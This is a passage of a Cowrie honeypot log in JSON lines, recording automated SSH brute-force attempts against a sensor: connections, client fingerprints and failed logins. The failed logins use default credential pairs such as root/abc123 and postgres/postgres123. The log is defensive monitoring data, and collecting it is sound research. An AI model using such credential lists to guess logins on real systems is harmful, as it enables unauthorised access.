-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:11.025804Z","src_ip":"91.92.40.171","session":"61bd51791efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49392,"dst_ip":"159.203.135.109","dst_port":22,"session":"5023ecfedad4","protocol":"ssh","message":"New connection: 91.92.40.171:49392 (159.203.135.109:22) [session: 5023ecfedad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:13.631994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:13.694870Z","src_ip":"91.92.40.171","session":"5023ecfedad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:13.782279Z","src_ip":"91.92.40.171","session":"5023ecfedad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:13.864399Z","src_ip":"91.92.42.133","session":"536266b4c85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:14.191114Z","src_ip":"91.92.40.171","session":"5023ecfedad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:15.158695Z","src_ip":"91.92.42.133","session":"536266b4c85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:15.379924Z","src_ip":"91.92.40.171","session":"5023ecfedad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:15.570840Z","src_ip":"91.92.40.171","session":"61bd51791efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:17.515418Z","src_ip":"91.92.40.171","session":"61bd51791efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46068,"dst_ip":"159.203.135.109","dst_port":22,"session":"06aead371c01","protocol":"ssh","message":"New connection: 91.92.42.133:46068 (159.203.135.109:22) [session: 06aead371c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:17.726842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:18.269672Z","src_ip":"91.92.42.133","session":"06aead371c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:18.272629Z","src_ip":"91.92.42.133","session":"06aead371c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40544,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9a1581c132f","protocol":"ssh","message":"New connection: 194.59.206.2:40544 (10.17.0.5:22) [session: a9a1581c132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:19.971027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:19.974607Z","src_ip":"194.59.206.2","session":"a9a1581c132f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:20.059929Z","src_ip":"194.59.206.2","session":"a9a1581c132f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:20.150316Z","src_ip":"194.59.206.2","session":"a9a1581c132f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:20.233366Z","src_ip":"91.92.42.133","session":"06aead371c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57956,"dst_ip":"159.203.135.109","dst_port":22,"session":"acdc7b3fcb49","protocol":"ssh","message":"New connection: 91.92.40.171:57956 (159.203.135.109:22) [session: acdc7b3fcb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:21.163574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:21.186819Z","src_ip":"91.92.40.171","session":"acdc7b3fcb49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:21.723487Z","src_ip":"91.92.42.133","session":"06aead371c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:22.195175Z","src_ip":"91.92.40.171","session":"acdc7b3fcb49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.627948999404907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:25.277408Z","src_ip":"85.137.245.226","session":"0eb87a371ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48310,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7faf3805a85","protocol":"ssh","message":"New connection: 91.92.40.171:48310 (159.203.135.109:22) [session: d7faf3805a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:25.506828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:25.670822Z","src_ip":"91.92.40.171","session":"d7faf3805a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:25.676251Z","src_ip":"91.92.40.171","session":"acdc7b3fcb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59564,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5aa31012a0d","protocol":"ssh","message":"New connection: 91.92.42.133:59564 (159.203.135.109:22) [session: e5aa31012a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:26.146421Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:26.532357Z","src_ip":"91.92.40.171","session":"d7faf3805a85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:26.575249Z","src_ip":"91.92.42.133","session":"e5aa31012a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:26.578804Z","src_ip":"91.92.42.133","session":"e5aa31012a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:27.604099Z","src_ip":"91.92.40.171","session":"acdc7b3fcb49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:28.096377Z","src_ip":"91.92.42.133","session":"e5aa31012a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:29.282788Z","src_ip":"91.92.42.133","session":"e5aa31012a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:30.131051Z","src_ip":"91.92.40.171","session":"d7faf3805a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48366,"dst_ip":"159.203.135.109","dst_port":22,"session":"070a7687602d","protocol":"ssh","message":"New connection: 91.92.40.171:48366 (159.203.135.109:22) [session: 070a7687602d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:30.543624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:30.617006Z","src_ip":"91.92.40.171","session":"070a7687602d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:30.724694Z","src_ip":"91.92.40.171","session":"070a7687602d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:31.261649Z","src_ip":"91.92.40.171","session":"070a7687602d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:32.128875Z","src_ip":"91.92.40.171","session":"d7faf3805a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:32.423118Z","src_ip":"91.92.40.171","session":"070a7687602d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51232,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46b94c1d81a","protocol":"ssh","message":"New connection: 91.92.42.133:51232 (159.203.135.109:22) [session: d46b94c1d81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:34.719346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:34.777624Z","src_ip":"91.92.42.133","session":"d46b94c1d81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:34.838575Z","src_ip":"91.92.42.133","session":"d46b94c1d81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:35.335351Z","src_ip":"91.92.42.133","session":"d46b94c1d81a","protocol":"ssh"}
